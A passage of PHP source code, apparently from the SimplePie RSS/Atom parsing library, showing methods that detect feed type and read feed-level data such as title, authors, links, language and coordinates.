$this->registry->call('Cache', 'get_handler', [$this->cache_location, call_user_func($this->cache_name_function, $file->url), 'spc']); } } $this->feed_url = $file->url; $locate = null; } $this->raw_data = $file->body; $this->permanent_url = $file->permanent_url; $headers = $file->headers; $sniffer = $this->registry->create('Content_Type_Sniffer', [&$file]); $sniffed = $sniffer->get_type(); return [$headers, $sniffed]; } /** * Get the error message for the occurred error * * @return string|array Error message, or array of messages for multifeeds */ public function error() { return $this->error; } /** * Get the last HTTP status code * * @return int Status code */ public function status_code() { return $this->status_code; } /** * Get the raw XML * * This is the same as the old `$feed->enable_xml_dump(true)`, but returns * the data instead of printing it. * * @return string|boolean Raw XML data, false if the cache is used */ public function get_raw_data() { return $this->raw_data; } /** * Get the character encoding used for output * * @since Preview Release * @return string */ public function get_encoding() { return $this->sanitize->output_encoding; } /** * Send the content-type header with correct encoding * * This method ensures that the SimplePie-enabled page is being served with * the correct {@link http://www.iana.org/assignments/media-types/ mime-type} * and character encoding HTTP headers (character encoding determined by the * {@see set_output_encoding} config option). * * This won't work properly if any content or whitespace has already been * sent to the browser, because it relies on PHP's * {@link http://php.net/header header()} function, and these are the * circumstances under which the function works. * * Because it's setting these settings for the entire page (as is the nature * of HTTP headers), this should only be used once per page (again, at the * top). * * @param string $mime MIME type to serve the page as */ public function handle_content_type($mime = 'text/html') { if (!headers_sent()) { $header = "Content-type: $mime;"; if ($this->get_encoding()) { $header .= ' charset=' . $this->get_encoding(); } else { $header .= ' charset=UTF-8'; } header($header); } } /** * Get the type of the feed * * This returns a \SimplePie\SimplePie::TYPE_* constant, which can be tested against * using {@link http://php.net/language.operators.bitwise bitwise operators} * * @since 0.8 (usage changed to using constants in 1.0) * @see \SimplePie\SimplePie::TYPE_NONE Unknown. * @see \SimplePie\SimplePie::TYPE_RSS_090 RSS 0.90. * @see \SimplePie\SimplePie::TYPE_RSS_091_NETSCAPE RSS 0.91 (Netscape). * @see \SimplePie\SimplePie::TYPE_RSS_091_USERLAND RSS 0.91 (Userland). * @see \SimplePie\SimplePie::TYPE_RSS_091 RSS 0.91. * @see \SimplePie\SimplePie::TYPE_RSS_092 RSS 0.92. * @see \SimplePie\SimplePie::TYPE_RSS_093 RSS 0.93. * @see \SimplePie\SimplePie::TYPE_RSS_094 RSS 0.94. * @see \SimplePie\SimplePie::TYPE_RSS_10 RSS 1.0. * @see \SimplePie\SimplePie::TYPE_RSS_20 RSS 2.0.x. * @see \SimplePie\SimplePie::TYPE_RSS_RDF RDF-based RSS. * @see \SimplePie\SimplePie::TYPE_RSS_SYNDICATION Non-RDF-based RSS (truly intended as syndication format). * @see \SimplePie\SimplePie::TYPE_RSS_ALL Any version of RSS. * @see \SimplePie\SimplePie::TYPE_ATOM_03 Atom 0.3. * @see \SimplePie\SimplePie::TYPE_ATOM_10 Atom 1.0. * @see \SimplePie\SimplePie::TYPE_ATOM_ALL Any version of Atom. * @see \SimplePie\SimplePie::TYPE_ALL Any known/supported feed type. * @return int \SimplePie\SimplePie::TYPE_* constant */ public function get_type() { if (!isset($this->data['type'])) { $this->data['type'] = self::TYPE_ALL; if (isset($this->data['child'][self::NAMESPACE_ATOM_10]['feed'])) { $this->data['type'] &= self::TYPE_ATOM_10; } elseif (isset($this->data['child'][self::NAMESPACE_ATOM_03]['feed'])) { $this->data['type'] &= self::TYPE_ATOM_03; } elseif (isset($this->data['child'][self::NAMESPACE_RDF]['RDF'])) { if (isset($this->data['child'][self::NAMESPACE_RDF]['RDF'][0]['child'][self::NAMESPACE_RSS_10]['channel']) || isset($this->data['child'][self::NAMESPACE_RDF]['RDF'][0]['child'][self::NAMESPACE_RSS_10]['image']) || isset($this->data['child'][self::NAMESPACE_RDF]['RDF'][0]['child'][self::NAMESPACE_RSS_10]['item']) || isset($this->data['child'][self::NAMESPACE_RDF]['RDF'][0]['child'][self::NAMESPACE_RSS_10]['textinput'])) { $this->data['type'] &= self::TYPE_RSS_10; } if (isset($this->data['child'][self::NAMESPACE_RDF]['RDF'][0]['child'][self::NAMESPACE_RSS_090]['channel']) || isset($this->data['child'][self::NAMESPACE_RDF]['RDF'][0]['child'][self::NAMESPACE_RSS_090]['image']) || isset($this->data['child'][self::NAMESPACE_RDF]['RDF'][0]['child'][self::NAMESPACE_RSS_090]['item']) || isset($this->data['child'][self::NAMESPACE_RDF]['RDF'][0]['child'][self::NAMESPACE_RSS_090]['textinput'])) { $this->data['type'] &= self::TYPE_RSS_090; } } elseif (isset($this->data['child'][self::NAMESPACE_RSS_20]['rss'])) { $this->data['type'] &= self::TYPE_RSS_ALL; if (isset($this->data['child'][self::NAMESPACE_RSS_20]['rss'][0]['attribs']['']['version'])) { switch (trim($this->data['child'][self::NAMESPACE_RSS_20]['rss'][0]['attribs']['']['version'])) { case '0.91': $this->data['type'] &= self::TYPE_RSS_091; if (isset($this->data['child'][self::NAMESPACE_RSS_20]['rss'][0]['child'][self::NAMESPACE_RSS_20]['skiphours']['hour'][0]['data'])) { switch (trim($this->data['child'][self::NAMESPACE_RSS_20]['rss'][0]['child'][self::NAMESPACE_RSS_20]['skiphours']['hour'][0]['data'])) { case '0': $this->data['type'] &= self::TYPE_RSS_091_NETSCAPE; break; case '24': $this->data['type'] &= self::TYPE_RSS_091_USERLAND; break; } } break; case '0.92': $this->data['type'] &= self::TYPE_RSS_092; break; case '0.93': $this->data['type'] &= self::TYPE_RSS_093; break; case '0.94': $this->data['type'] &= self::TYPE_RSS_094; break; case '2.0': $this->data['type'] &= self::TYPE_RSS_20; break; } } } else { $this->data['type'] = self::TYPE_NONE; } } return $this->data['type']; } /** * Get the URL for the feed * * When the 'permanent' mode is enabled, returns the original feed URL, * except in the case of an `HTTP 301 Moved Permanently` status response, * in which case the location of the first redirection is returned. * * When the 'permanent' mode is disabled (default), * may or may not be different from the URL passed to {@see set_feed_url()}, * depending on whether auto-discovery was used, and whether there were * any redirects along the way. * * @since Preview Release (previously called `get_feed_url()` since SimplePie 0.8.) * @todo Support <itunes:new-feed-url> * @todo Also, |atom:link|@rel=self * @param bool $permanent Permanent mode to return only the original URL or the first redirection * iff it is a 301 redirection * @return string|null */ public function subscribe_url($permanent = false) { if ($permanent) { if ($this->permanent_url !== null) { // sanitize encodes ampersands which are required when used in a url. return str_replace( '&', '&', $this->sanitize( $this->permanent_url, self::CONSTRUCT_IRI ) ); } } else { if ($this->feed_url !== null) { return str_replace( '&', '&', $this->sanitize( $this->feed_url, self::CONSTRUCT_IRI ) ); } } return null; } /** * Get data for an feed-level element * * This method allows you to get access to ANY element/attribute that is a * sub-element of the opening feed tag. * * The return value is an indexed array of elements matching the given * namespace and tag name. Each element has `attribs`, `data` and `child` * subkeys. For `attribs` and `child`, these contain namespace subkeys. * `attribs` then has one level of associative name => value data (where * `value` is a string) after the namespace. `child` has tag-indexed keys * after the namespace, each member of which is an indexed array matching * this same format. * * For example: * <pre> * // This is probably a bad example because we already support * // <media:content> natively, but it shows you how to parse through * // the nodes. * $group = $item->get_item_tags(\SimplePie\SimplePie::NAMESPACE_MEDIARSS, 'group'); * $content = $group[0]['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['content']; * $file = $content[0]['attribs']['']['url']; * echo $file; * </pre> * * @since 1.0 * @see http://simplepie.org/wiki/faq/supported_xml_namespaces * @param string $namespace The URL of the XML namespace of the elements you're trying to access * @param string $tag Tag name * @return array */ public function get_feed_tags($namespace, $tag) { $type = $this->get_type(); if ($type & self::TYPE_ATOM_10) { if (isset($this->data['child'][self::NAMESPACE_ATOM_10]['feed'][0]['child'][$namespace][$tag])) { return $this->data['child'][self::NAMESPACE_ATOM_10]['feed'][0]['child'][$namespace][$tag]; } } if ($type & self::TYPE_ATOM_03) { if (isset($this->data['child'][self::NAMESPACE_ATOM_03]['feed'][0]['child'][$namespace][$tag])) { return $this->data['child'][self::NAMESPACE_ATOM_03]['feed'][0]['child'][$namespace][$tag]; } } if ($type & self::TYPE_RSS_RDF) { if (isset($this->data['child'][self::NAMESPACE_RDF]['RDF'][0]['child'][$namespace][$tag])) { return $this->data['child'][self::NAMESPACE_RDF]['RDF'][0]['child'][$namespace][$tag]; } } if ($type & self::TYPE_RSS_SYNDICATION) { if (isset($this->data['child'][self::NAMESPACE_RSS_20]['rss'][0]['child'][$namespace][$tag])) { return $this->data['child'][self::NAMESPACE_RSS_20]['rss'][0]['child'][$namespace][$tag]; } } return null; } /** * Get data for an channel-level element * * This method allows you to get access to ANY element/attribute in the * channel/header section of the feed. * * See {@see SimplePie::get_feed_tags()} for a description of the return value * * @since 1.0 * @see http://simplepie.org/wiki/faq/supported_xml_namespaces * @param string $namespace The URL of the XML namespace of the elements you're trying to access * @param string $tag Tag name * @return array */ public function get_channel_tags($namespace, $tag) { $type = $this->get_type(); if ($type & self::TYPE_ATOM_ALL) { if ($return = $this->get_feed_tags($namespace, $tag)) { return $return; } } if ($type & self::TYPE_RSS_10) { if ($channel = $this->get_feed_tags(self::NAMESPACE_RSS_10, 'channel')) { if (isset($channel[0]['child'][$namespace][$tag])) { return $channel[0]['child'][$namespace][$tag]; } } } if ($type & self::TYPE_RSS_090) { if ($channel = $this->get_feed_tags(self::NAMESPACE_RSS_090, 'channel')) { if (isset($channel[0]['child'][$namespace][$tag])) { return $channel[0]['child'][$namespace][$tag]; } } } if ($type & self::TYPE_RSS_SYNDICATION) { if ($channel = $this->get_feed_tags(self::NAMESPACE_RSS_20, 'channel')) { if (isset($channel[0]['child'][$namespace][$tag])) { return $channel[0]['child'][$namespace][$tag]; } } } return null; } /** * Get data for an channel-level element * * This method allows you to get access to ANY element/attribute in the * image/logo section of the feed. * * See {@see SimplePie::get_feed_tags()} for a description of the return value * * @since 1.0 * @see http://simplepie.org/wiki/faq/supported_xml_namespaces * @param string $namespace The URL of the XML namespace of the elements you're trying to access * @param string $tag Tag name * @return array */ public function get_image_tags($namespace, $tag) { $type = $this->get_type(); if ($type & self::TYPE_RSS_10) { if ($image = $this->get_feed_tags(self::NAMESPACE_RSS_10, 'image')) { if (isset($image[0]['child'][$namespace][$tag])) { return $image[0]['child'][$namespace][$tag]; } } } if ($type & self::TYPE_RSS_090) { if ($image = $this->get_feed_tags(self::NAMESPACE_RSS_090, 'image')) { if (isset($image[0]['child'][$namespace][$tag])) { return $image[0]['child'][$namespace][$tag]; } } } if ($type & self::TYPE_RSS_SYNDICATION) { if ($image = $this->get_channel_tags(self::NAMESPACE_RSS_20, 'image')) { if (isset($image[0]['child'][$namespace][$tag])) { return $image[0]['child'][$namespace][$tag]; } } } return null; } /** * Get the base URL value from the feed * * Uses `<xml:base>` if available, otherwise uses the first link in the * feed, or failing that, the URL of the feed itself. * * @see get_link * @see subscribe_url * * @param array $element * @return string */ public function get_base($element = []) { if (!empty($element['xml_base_explicit']) && isset($element['xml_base'])) { return $element['xml_base']; } elseif ($this->get_link() !== null) { return $this->get_link(); } return $this->subscribe_url(); } /** * Sanitize feed data * * @access private * @see \SimplePie\Sanitize::sanitize() * @param string $data Data to sanitize * @param int $type One of the \SimplePie\SimplePie::CONSTRUCT_* constants * @param string $base Base URL to resolve URLs against * @return string Sanitized data */ public function sanitize($data, $type, $base = '') { try { return $this->sanitize->sanitize($data, $type, $base); } catch (\SimplePie\Exception $e) { if (!$this->enable_exceptions) { $this->error = $e->getMessage(); $this->registry->call('Misc', 'error', [$this->error, E_USER_WARNING, $e->getFile(), $e->getLine()]); return ''; } throw $e; } } /** * Get the title of the feed * * Uses `<atom:title>`, `<title>` or `<dc:title>` * * @since 1.0 (previously called `get_feed_title` since 0.8) * @return string|null */ public function get_title() { if ($return = $this->get_channel_tags(self::NAMESPACE_ATOM_10, 'title')) { return $this->sanitize($return[0]['data'], $this->registry->call('Misc', 'atom_10_construct_type', [$return[0]['attribs']]), $this->get_base($return[0])); } elseif ($return = $this->get_channel_tags(self::NAMESPACE_ATOM_03, 'title')) { return $this->sanitize($return[0]['data'], $this->registry->call('Misc', 'atom_03_construct_type', [$return[0]['attribs']]), $this->get_base($return[0])); } elseif ($return = $this->get_channel_tags(self::NAMESPACE_RSS_10, 'title')) { return $this->sanitize($return[0]['data'], self::CONSTRUCT_MAYBE_HTML, $this->get_base($return[0])); } elseif ($return = $this->get_channel_tags(self::NAMESPACE_RSS_090, 'title')) { return $this->sanitize($return[0]['data'], self::CONSTRUCT_MAYBE_HTML, $this->get_base($return[0])); } elseif ($return = $this->get_channel_tags(self::NAMESPACE_RSS_20, 'title')) { return $this->sanitize($return[0]['data'], self::CONSTRUCT_MAYBE_HTML, $this->get_base($return[0])); } elseif ($return = $this->get_channel_tags(self::NAMESPACE_DC_11, 'title')) { return $this->sanitize($return[0]['data'], self::CONSTRUCT_TEXT); } elseif ($return = $this->get_channel_tags(self::NAMESPACE_DC_10, 'title')) { return $this->sanitize($return[0]['data'], self::CONSTRUCT_TEXT); } return null; } /** * Get a category for the feed * * @since Unknown * @param int $key The category that you want to return. Remember that arrays begin with 0, not 1 * @return \SimplePie\Category|null */ public function get_category($key = 0) { $categories = $this->get_categories(); if (isset($categories[$key])) { return $categories[$key]; } return null; } /** * Get all categories for the feed * * Uses `<atom:category>`, `<category>` or `<dc:subject>` * * @since Unknown * @return array|null List of {@see \SimplePie\Category} objects */ public function get_categories() { $categories = []; foreach ((array) $this->get_channel_tags(self::NAMESPACE_ATOM_10, 'category') as $category) { $term = null; $scheme = null; $label = null; if (isset($category['attribs']['']['term'])) { $term = $this->sanitize($category['attribs']['']['term'], self::CONSTRUCT_TEXT); } if (isset($category['attribs']['']['scheme'])) { $scheme = $this->sanitize($category['attribs']['']['scheme'], self::CONSTRUCT_TEXT); } if (isset($category['attribs']['']['label'])) { $label = $this->sanitize($category['attribs']['']['label'], self::CONSTRUCT_TEXT); } $categories[] = $this->registry->create('Category', [$term, $scheme, $label]); } foreach ((array) $this->get_channel_tags(self::NAMESPACE_RSS_20, 'category') as $category) { // This is really the label, but keep this as the term also for BC. // Label will also work on retrieving because that falls back to term. $term = $this->sanitize($category['data'], self::CONSTRUCT_TEXT); if (isset($category['attribs']['']['domain'])) { $scheme = $this->sanitize($category['attribs']['']['domain'], self::CONSTRUCT_TEXT); } else { $scheme = null; } $categories[] = $this->registry->create('Category', [$term, $scheme, null]); } foreach ((array) $this->get_channel_tags(self::NAMESPACE_DC_11, 'subject') as $category) { $categories[] = $this->registry->create('Category', [$this->sanitize($category['data'], self::CONSTRUCT_TEXT), null, null]); } foreach ((array) $this->get_channel_tags(self::NAMESPACE_DC_10, 'subject') as $category) { $categories[] = $this->registry->create('Category', [$this->sanitize($category['data'], self::CONSTRUCT_TEXT), null, null]); } if (!empty($categories)) { return array_unique($categories); } return null; } /** * Get an author for the feed * * @since 1.1 * @param int $key The author that you want to return. Remember that arrays begin with 0, not 1 * @return \SimplePie\Author|null */ public function get_author($key = 0) { $authors = $this->get_authors(); if (isset($authors[$key])) { return $authors[$key]; } return null; } /** * Get all authors for the feed * * Uses `<atom:author>`, `<author>`, `<dc:creator>` or `<itunes:author>` * * @since 1.1 * @return array|null List of {@see \SimplePie\Author} objects */ public function get_authors() { $authors = []; foreach ((array) $this->get_channel_tags(self::NAMESPACE_ATOM_10, 'author') as $author) { $name = null; $uri = null; $email = null; if (isset($author['child'][self::NAMESPACE_ATOM_10]['name'][0]['data'])) { $name = $this->sanitize($author['child'][self::NAMESPACE_ATOM_10]['name'][0]['data'], self::CONSTRUCT_TEXT); } if (isset($author['child'][self::NAMESPACE_ATOM_10]['uri'][0]['data'])) { $uri = $this->sanitize($author['child'][self::NAMESPACE_ATOM_10]['uri'][0]['data'], self::CONSTRUCT_IRI, $this->get_base($author['child'][self::NAMESPACE_ATOM_10]['uri'][0])); } if (isset($author['child'][self::NAMESPACE_ATOM_10]['email'][0]['data'])) { $email = $this->sanitize($author['child'][self::NAMESPACE_ATOM_10]['email'][0]['data'], self::CONSTRUCT_TEXT); } if ($name !== null || $email !== null || $uri !== null) { $authors[] = $this->registry->create('Author', [$name, $uri, $email]); } } if ($author = $this->get_channel_tags(self::NAMESPACE_ATOM_03, 'author')) { $name = null; $url = null; $email = null; if (isset($author[0]['child'][self::NAMESPACE_ATOM_03]['name'][0]['data'])) { $name = $this->sanitize($author[0]['child'][self::NAMESPACE_ATOM_03]['name'][0]['data'], self::CONSTRUCT_TEXT); } if (isset($author[0]['child'][self::NAMESPACE_ATOM_03]['url'][0]['data'])) { $url = $this->sanitize($author[0]['child'][self::NAMESPACE_ATOM_03]['url'][0]['data'], self::CONSTRUCT_IRI, $this->get_base($author[0]['child'][self::NAMESPACE_ATOM_03]['url'][0])); } if (isset($author[0]['child'][self::NAMESPACE_ATOM_03]['email'][0]['data'])) { $email = $this->sanitize($author[0]['child'][self::NAMESPACE_ATOM_03]['email'][0]['data'], self::CONSTRUCT_TEXT); } if ($name !== null || $email !== null || $url !== null) { $authors[] = $this->registry->create('Author', [$name, $url, $email]); } } foreach ((array) $this->get_channel_tags(self::NAMESPACE_DC_11, 'creator') as $author) { $authors[] = $this->registry->create('Author', [$this->sanitize($author['data'], self::CONSTRUCT_TEXT), null, null]); } foreach ((array) $this->get_channel_tags(self::NAMESPACE_DC_10, 'creator') as $author) { $authors[] = $this->registry->create('Author', [$this->sanitize($author['data'], self::CONSTRUCT_TEXT), null, null]); } foreach ((array) $this->get_channel_tags(self::NAMESPACE_ITUNES, 'author') as $author) { $authors[] = $this->registry->create('Author', [$this->sanitize($author['data'], self::CONSTRUCT_TEXT), null, null]); } if (!empty($authors)) { return array_unique($authors); } return null; } /** * Get a contributor for the feed * * @since 1.1 * @param int $key The contrbutor that you want to return. Remember that arrays begin with 0, not 1 * @return \SimplePie\Author|null */ public function get_contributor($key = 0) { $contributors = $this->get_contributors(); if (isset($contributors[$key])) { return $contributors[$key]; } return null; } /** * Get all contributors for the feed * * Uses `<atom:contributor>` * * @since 1.1 * @return array|null List of {@see \SimplePie\Author} objects */ public function get_contributors() { $contributors = []; foreach ((array) $this->get_channel_tags(self::NAMESPACE_ATOM_10, 'contributor') as $contributor) { $name = null; $uri = null; $email = null; if (isset($contributor['child'][self::NAMESPACE_ATOM_10]['name'][0]['data'])) { $name = $this->sanitize($contributor['child'][self::NAMESPACE_ATOM_10]['name'][0]['data'], self::CONSTRUCT_TEXT); } if (isset($contributor['child'][self::NAMESPACE_ATOM_10]['uri'][0]['data'])) { $uri = $this->sanitize($contributor['child'][self::NAMESPACE_ATOM_10]['uri'][0]['data'], self::CONSTRUCT_IRI, $this->get_base($contributor['child'][self::NAMESPACE_ATOM_10]['uri'][0])); } if (isset($contributor['child'][self::NAMESPACE_ATOM_10]['email'][0]['data'])) { $email = $this->sanitize($contributor['child'][self::NAMESPACE_ATOM_10]['email'][0]['data'], self::CONSTRUCT_TEXT); } if ($name !== null || $email !== null || $uri !== null) { $contributors[] = $this->registry->create('Author', [$name, $uri, $email]); } } foreach ((array) $this->get_channel_tags(self::NAMESPACE_ATOM_03, 'contributor') as $contributor) { $name = null; $url = null; $email = null; if (isset($contributor['child'][self::NAMESPACE_ATOM_03]['name'][0]['data'])) { $name = $this->sanitize($contributor['child'][self::NAMESPACE_ATOM_03]['name'][0]['data'], self::CONSTRUCT_TEXT); } if (isset($contributor['child'][self::NAMESPACE_ATOM_03]['url'][0]['data'])) { $url = $this->sanitize($contributor['child'][self::NAMESPACE_ATOM_03]['url'][0]['data'], self::CONSTRUCT_IRI, $this->get_base($contributor['child'][self::NAMESPACE_ATOM_03]['url'][0])); } if (isset($contributor['child'][self::NAMESPACE_ATOM_03]['email'][0]['data'])) { $email = $this->sanitize($contributor['child'][self::NAMESPACE_ATOM_03]['email'][0]['data'], self::CONSTRUCT_TEXT); } if ($name !== null || $email !== null || $url !== null) { $contributors[] = $this->registry->create('Author', [$name, $url, $email]); } } if (!empty($contributors)) { return array_unique($contributors); } return null; } /** * Get a single link for the feed * * @since 1.0 (previously called `get_feed_link` since Preview Release, `get_feed_permalink()` since 0.8) * @param int $key The link that you want to return. Remember that arrays begin with 0, not 1 * @param string $rel The relationship of the link to return * @return string|null Link URL */ public function get_link($key = 0, $rel = 'alternate') { $links = $this->get_links($rel); if (isset($links[$key])) { return $links[$key]; } return null; } /** * Get the permalink for the item * * Returns the first link available with a relationship of "alternate". * Identical to {@see get_link()} with key 0 * * @see get_link * @since 1.0 (previously called `get_feed_link` since Preview Release, `get_feed_permalink()` since 0.8) * @internal Added for parity between the parent-level and the item/entry-level. * @return string|null Link URL */ public function get_permalink() { return $this->get_link(0); } /** * Get all links for the feed * * Uses `<atom:link>` or `<link>` * * @since Beta 2 * @param string $rel The relationship of links to return * @return array|null Links found for the feed (strings) */ public function get_links($rel = 'alternate') { if (!isset($this->data['links'])) { $this->data['links'] = []; if ($links = $this->get_channel_tags(self::NAMESPACE_ATOM_10, 'link')) { foreach ($links as $link) { if (isset($link['attribs']['']['href'])) { $link_rel = (isset($link['attribs']['']['rel'])) ? $link['attribs']['']['rel'] : 'alternate'; $this->data['links'][$link_rel][] = $this->sanitize($link['attribs']['']['href'], self::CONSTRUCT_IRI, $this->get_base($link)); } } } if ($links = $this->get_channel_tags(self::NAMESPACE_ATOM_03, 'link')) { foreach ($links as $link) { if (isset($link['attribs']['']['href'])) { $link_rel = (isset($link['attribs']['']['rel'])) ? $link['attribs']['']['rel'] : 'alternate'; $this->data['links'][$link_rel][] = $this->sanitize($link['attribs']['']['href'], self::CONSTRUCT_IRI, $this->get_base($link)); } } } if ($links = $this->get_channel_tags(self::NAMESPACE_RSS_10, 'link')) { $this->data['links']['alternate'][] = $this->sanitize($links[0]['data'], self::CONSTRUCT_IRI, $this->get_base($links[0])); } if ($links = $this->get_channel_tags(self::NAMESPACE_RSS_090, 'link')) { $this->data['links']['alternate'][] = $this->sanitize($links[0]['data'], self::CONSTRUCT_IRI, $this->get_base($links[0])); } if ($links = $this->get_channel_tags(self::NAMESPACE_RSS_20, 'link')) { $this->data['links']['alternate'][] = $this->sanitize($links[0]['data'], self::CONSTRUCT_IRI, $this->get_base($links[0])); } $keys = array_keys($this->data['links']); foreach ($keys as $key) { if ($this->registry->call('Misc', 'is_isegment_nz_nc', [$key])) { if (isset($this->data['links'][self::IANA_LINK_RELATIONS_REGISTRY . $key])) { $this->data['links'][self::IANA_LINK_RELATIONS_REGISTRY . $key] = array_merge($this->data['links'][$key], $this->data['links'][self::IANA_LINK_RELATIONS_REGISTRY . $key]); $this->data['links'][$key] =& $this->data['links'][self::IANA_LINK_RELATIONS_REGISTRY . $key]; } else { $this->data['links'][self::IANA_LINK_RELATIONS_REGISTRY . $key] =& $this->data['links'][$key]; } } elseif (substr($key, 0, 41) === self::IANA_LINK_RELATIONS_REGISTRY) { $this->data['links'][substr($key, 41)] =& $this->data['links'][$key]; } $this->data['links'][$key] = array_unique($this->data['links'][$key]); } } if (isset($this->data['headers']['link'])) { $link_headers = $this->data['headers']['link']; if (is_array($link_headers)) { $link_headers = implode(',', $link_headers); } // https://datatracker.ietf.org/doc/html/rfc8288 if (is_string($link_headers) && preg_match_all('/<(?P<uri>[^>]+)>\s*;\s*rel\s*=\s*(?P<quote>"?)' . preg_quote($rel) . '(?P=quote)\s*(?=,|$)/i', $link_headers, $matches)) { return $matches['uri']; } } if (isset($this->data['links'][$rel])) { return $this->data['links'][$rel]; } return null; } public function get_all_discovered_feeds() { return $this->all_discovered_feeds; } /** * Get the content for the item * * Uses `<atom:subtitle>`, `<atom:tagline>`, `<description>`, * `<dc:description>`, `<itunes:summary>` or `<itunes:subtitle>` * * @since 1.0 (previously called `get_feed_description()` since 0.8) * @return string|null */ public function get_description() { if ($return = $this->get_channel_tags(self::NAMESPACE_ATOM_10, 'subtitle')) { return $this->sanitize($return[0]['data'], $this->registry->call('Misc', 'atom_10_construct_type', [$return[0]['attribs']]), $this->get_base($return[0])); } elseif ($return = $this->get_channel_tags(self::NAMESPACE_ATOM_03, 'tagline')) { return $this->sanitize($return[0]['data'], $this->registry->call('Misc', 'atom_03_construct_type', [$return[0]['attribs']]), $this->get_base($return[0])); } elseif ($return = $this->get_channel_tags(self::NAMESPACE_RSS_10, 'description')) { return $this->sanitize($return[0]['data'], self::CONSTRUCT_MAYBE_HTML, $this->get_base($return[0])); } elseif ($return = $this->get_channel_tags(self::NAMESPACE_RSS_090, 'description')) { return $this->sanitize($return[0]['data'], self::CONSTRUCT_MAYBE_HTML, $this->get_base($return[0])); } elseif ($return = $this->get_channel_tags(self::NAMESPACE_RSS_20, 'description')) { return $this->sanitize($return[0]['data'], self::CONSTRUCT_HTML, $this->get_base($return[0])); } elseif ($return = $this->get_channel_tags(self::NAMESPACE_DC_11, 'description')) { return $this->sanitize($return[0]['data'], self::CONSTRUCT_TEXT); } elseif ($return = $this->get_channel_tags(self::NAMESPACE_DC_10, 'description')) { return $this->sanitize($return[0]['data'], self::CONSTRUCT_TEXT); } elseif ($return = $this->get_channel_tags(self::NAMESPACE_ITUNES, 'summary')) { return $this->sanitize($return[0]['data'], self::CONSTRUCT_HTML, $this->get_base($return[0])); } elseif ($return = $this->get_channel_tags(self::NAMESPACE_ITUNES, 'subtitle')) { return $this->sanitize($return[0]['data'], self::CONSTRUCT_HTML, $this->get_base($return[0])); } return null; } /** * Get the copyright info for the feed * * Uses `<atom:rights>`, `<atom:copyright>` or `<dc:rights>` * * @since 1.0 (previously called `get_feed_copyright()` since 0.8) * @return string|null */ public function get_copyright() { if ($return = $this->get_channel_tags(self::NAMESPACE_ATOM_10, 'rights')) { return $this->sanitize($return[0]['data'], $this->registry->call('Misc', 'atom_10_construct_type', [$return[0]['attribs']]), $this->get_base($return[0])); } elseif ($return = $this->get_channel_tags(self::NAMESPACE_ATOM_03, 'copyright')) { return $this->sanitize($return[0]['data'], $this->registry->call('Misc', 'atom_03_construct_type', [$return[0]['attribs']]), $this->get_base($return[0])); } elseif ($return = $this->get_channel_tags(self::NAMESPACE_RSS_20, 'copyright')) { return $this->sanitize($return[0]['data'], self::CONSTRUCT_TEXT); } elseif ($return = $this->get_channel_tags(self::NAMESPACE_DC_11, 'rights')) { return $this->sanitize($return[0]['data'], self::CONSTRUCT_TEXT); } elseif ($return = $this->get_channel_tags(self::NAMESPACE_DC_10, 'rights')) { return $this->sanitize($return[0]['data'], self::CONSTRUCT_TEXT); } return null; } /** * Get the language for the feed * * Uses `<language>`, `<dc:language>`, or @xml_lang * * @since 1.0 (previously called `get_feed_language()` since 0.8) * @return string|null */ public function get_language() { if ($return = $this->get_channel_tags(self::NAMESPACE_RSS_20, 'language')) { return $this->sanitize($return[0]['data'], self::CONSTRUCT_TEXT); } elseif ($return = $this->get_channel_tags(self::NAMESPACE_DC_11, 'language')) { return $this->sanitize($return[0]['data'], self::CONSTRUCT_TEXT); } elseif ($return = $this->get_channel_tags(self::NAMESPACE_DC_10, 'language')) { return $this->sanitize($return[0]['data'], self::CONSTRUCT_TEXT); } elseif (isset($this->data['child'][self::NAMESPACE_ATOM_10]['feed'][0]['xml_lang'])) { return $this->sanitize($this->data['child'][self::NAMESPACE_ATOM_10]['feed'][0]['xml_lang'], self::CONSTRUCT_TEXT); } elseif (isset($this->data['child'][self::NAMESPACE_ATOM_03]['feed'][0]['xml_lang'])) { return $this->sanitize($this->data['child'][self::NAMESPACE_ATOM_03]['feed'][0]['xml_lang'], self::CONSTRUCT_TEXT); } elseif (isset($this->data['child'][self::NAMESPACE_RDF]['RDF'][0]['xml_lang'])) { return $this->sanitize($this->data['child'][self::NAMESPACE_RDF]['RDF'][0]['xml_lang'], self::CONSTRUCT_TEXT); } elseif (isset($this->data['headers']['content-language'])) { return $this->sanitize($this->data['headers']['content-language'], self::CONSTRUCT_TEXT); } return null; } /** * Get the latitude coordinates for the item * * Compatible with the W3C WGS84 Basic Geo and GeoRSS specifications * * Uses `<geo:lat>` or `<georss:point>` * * @since 1.0 * @link http://www.w3.org/2003/01/geo/ W3C WGS84 Basic Geo * @link http://www.georss.org/ GeoRSS * @return string|null */ public function get_latitude() { if ($return = $this->get_channel_tags(self::NAMESPACE_W3C_BASIC_GEO, 'lat')) { return (float) $return[0]['data']; } elseif (($return = $this->get_channel_tags(self::NAMESPACE_GEORSS, 'point')) && preg_match('/^((?:-)?[0-9]+(?:\.[0-9]+)) ((?:-)?[0-9]+(?:\.[0-9]+))$/', trim($return[0]['data']), $match)) { return (float) $match[1]; } return null; } /** * Get the longitude coordinates for the feed * * Compatible with the W3C WGS84 Basic Geo and GeoRSS specifications * * Uses `<geo:long>`, `<geo:lon>` or `<georss:point>` * * @since 1.0 * @link http://www.w3.org/2003/01/geo/ W3C WGS84 Basic Geo * @link http://www.georss.org/ GeoRSS * @return string|null */ public function get_longitude() { if ($return = $this->get_channel_tags(self::NAMESPACE_W3C_BASIC_GEO, 'long')) { return (float) $return[0]['data']; } elseif ($return = $this->get_channel_tags(self::NAMESPACE_W3C_BASIC_GEO, 'lon')) { return (float) $return[0]['data']; } elseif (($return = $this->get_channel_tags(self::NAMESPACE_GEORSS, 'point')) && preg_match('/^((?:-)?[0-9]+(?:\.[0-9]+)) ((?:-)?[0-9]+(?:\.[0-9]+))$/', trim($return[0]['data']), $match)) { return (float) $match[2]; } return null; } /** * Get the feed logo's title * * RSS 0.9.0, 1.0 and 2.0 feeds are allowed to have a "feed logo" title. * * Uses `<image><title>` or `<image><dc:title>` * * @return string|null */ public function get_image_title() { if ($return = $this->get_image_tags(self::NAMESPACE_RSS_10, 'title')) { return $this->sanitize($return[0]['data'], self::CONSTRUCT_TEXT); } elseif ($return = $this->get_image_tags(self::NAMESPACE_RSS_090, 'title')) { return $this->sanitize($return[0]['data'], self::CONSTRUCT_TEXT); } elseif ($return = $this->get_image_tags(self::NAMESPACE_RSS_20, 'title')) { return $this->sanitize($return[0]['data'], self::CONSTRUCT_TEXT); 